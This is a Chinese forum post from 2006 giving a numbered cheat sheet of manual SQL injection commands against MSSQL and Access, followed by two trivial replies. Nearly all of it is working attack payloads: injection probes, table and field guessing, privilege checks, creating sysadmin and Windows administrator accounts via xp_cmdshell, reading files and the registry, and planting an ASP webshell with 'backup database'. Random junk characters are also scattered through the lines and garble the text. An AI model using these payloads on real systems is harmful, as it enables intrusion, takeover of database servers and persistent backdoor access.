社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3751阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 t/}NX[q  
  2.初步判断是否是mssql ;and user>0 j^7A }fz  
^)wKS]BQ..  
  3.注入参数是字符'and [查询条件] and ''=' 41x"Q?.bY  
/O5&)%N  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' e P,bFc  
QtwQVOK  
  5.判断数据库系统 pI:,Lt1B  
.faf!3d  
  ;and (select count(*) from sysobjects)>0 mssql Y hQ)M5  
ruQt0q,W3%  
  ;and (select count(*) from msysobjects)>0 access 8qqN0"{,  
 vTgx7gP  
x_ /}R3d  
n1JtY75#,/  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 j*5IRzK1%0  
$&=xw _  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8PzGUn;\  
j.ucv  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qi B~  
@)BO`;*$fF  
  9.(1)猜字段的ascii值(access) jQ,Vs=*H  
zs~Tu  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^$5 0[  
5Yhcnwdm!  
  (2)猜字段的ascii值(mssql) LQHL4jRXU  
{O9(<g  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Z6rhInIY  
@zC6`  
  10.测试权限结构(mssql) d\ 8v VZ  
W&=OtN U!  
UrHndnqM  
+ID\u <?  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- [lg!*  
vjq2(I)u  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- )Xh}N  
o]~\u{o#.  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- d)e mTXB(  
h7 E~I J  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ~W[I  
~L"$(^/  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8[KKi~A  
58Ce>*~  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ov,|`FdU^T  
8ix_<$%  
  ;and 1=(select IS_MEMBER('db_owner'));-- |)+ SG>-  
Bz<hP*.O  
ZRG Cy5Rk  
>Jmla~A  
  11.添加mssql和系统的帐户 c 3O/#*  
F?|Efpzow?  
  ;exec master.dbo.sp_addlogin username;-- *m}8L%<HT  
  ;exec master.dbo.sp_password null,username,password;-- X>Vc4n<}  
=w! ik9  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~x^y5[5{  
Wk<fNHg  
  ;exec master.dbo.xp_cmdshell 'net user username password u0h%4f!X  
Td'Mc-/  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- RbX9PF"|+  
)"S%'myj  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- I@MG ?ZQ  
uhh7Ft#H  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Y>8Qj+d  
N#K)Z5J)b  
c1"wS*u  
&h0LWPl  
  12.(1)遍历目录 -;7xUNQ  
"_q~S$i^  
  ;create table dirs(paths varchar(100), id int)  SvT0%2  
1o`1W4Q  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' E ?Mgbd3  
I&{T 4.B:U  
  ;and (select top 1 paths from dirs)>0 /)6T>/  
 E.h  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ryVYY> *(K  
b^VRpv  
V 9Qt;]mQ  
byxlC?q7  
  (2)遍历目录 Hw o _;fV  
y#j7vO  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4<i#TCGex3  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 XI\Slq  
Jh3  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 P |t yyjO  
{  c#US  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Y(g_h:lf,]  
Z 2N6r6  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vr EGR$  
w$:\!FImx  
[kg?q5F)  
!0W(f.A{K  
  13.mssql中的存储过程 `NN P<z+\  
8Yh'/,o=L#  
  xp_regenumvalues 注册表根键, 子键 [)Nt;|U  
J<0{3pZY  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9wYm(7M6  
iT}>a30]B  
  xp_regread 根键,子键,键值名 &DWSf`:Hx  
A0<g8pv  
  ;exec xp_regread '2.ey33V  
nQ\`]_C  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 YVMvT>/,  
Kk8wlC  
  xp_regwrite 根键,子键, 值名, 值类型, 值 Ddr.6`VJ  
zR<{z  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 X5iD <Lh  
8\rca:cF   
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 p(n0(}eVC'  
~6f/jCluR%  
  xp_regdeletevalue 根键,子键,值名 G'\[dwD,u  
yv4x.cfI2W  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \6|y~5Hw{r  
)/jDt dI  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 gy}3ZA*F  
cy8>M))c  
dHDtY$/_  
3gUY13C}:p  
  14.mssql的backup创建webshell V *@q< rQ  
^*}D*=>\  
  use model 7Mh'x:p  
28"1ONs 3  
  create table cmd(str image); VZi1b0k1.  
&V?+Y2  
  insert into cmd(str) values (''); uOv<*Jld*  
KR ( apO  
  backup database model to disk='c:\l.asp'; PEI$1,z  
{N2GRF~c-y  
@@D/&}#F  
9 Zos;  
  15.mssql内置函数 j\>&]0-Iq  
".>#Qp%  
  ;and (select @@version)>0 获得Windows的版本号 BQ6$T&  
p6- //0qb  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa gX{j$]^6G8  
Q#%LIkeq  
  ;and (select user_name())>0 爆当前系统的连接用户 B&_:20^y~  
\^(#b,k#  
  ;and (select db_name())>0 得到当前连接的数据库 }rJqMZ]w  
6|EOB~|  
i3)3. WK^  
jwk+&S  
  16.简洁的webshell Tv|'6P  
}ekNZNcuM  
  use model k M /:n  
0kUhz\"R:q  
  create table cmd(str image); &`m.]RV  
'l/l]26rO4  
  insert into cmd(str) values (''); &MX&5@ Vu  
:$G^TD/n  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八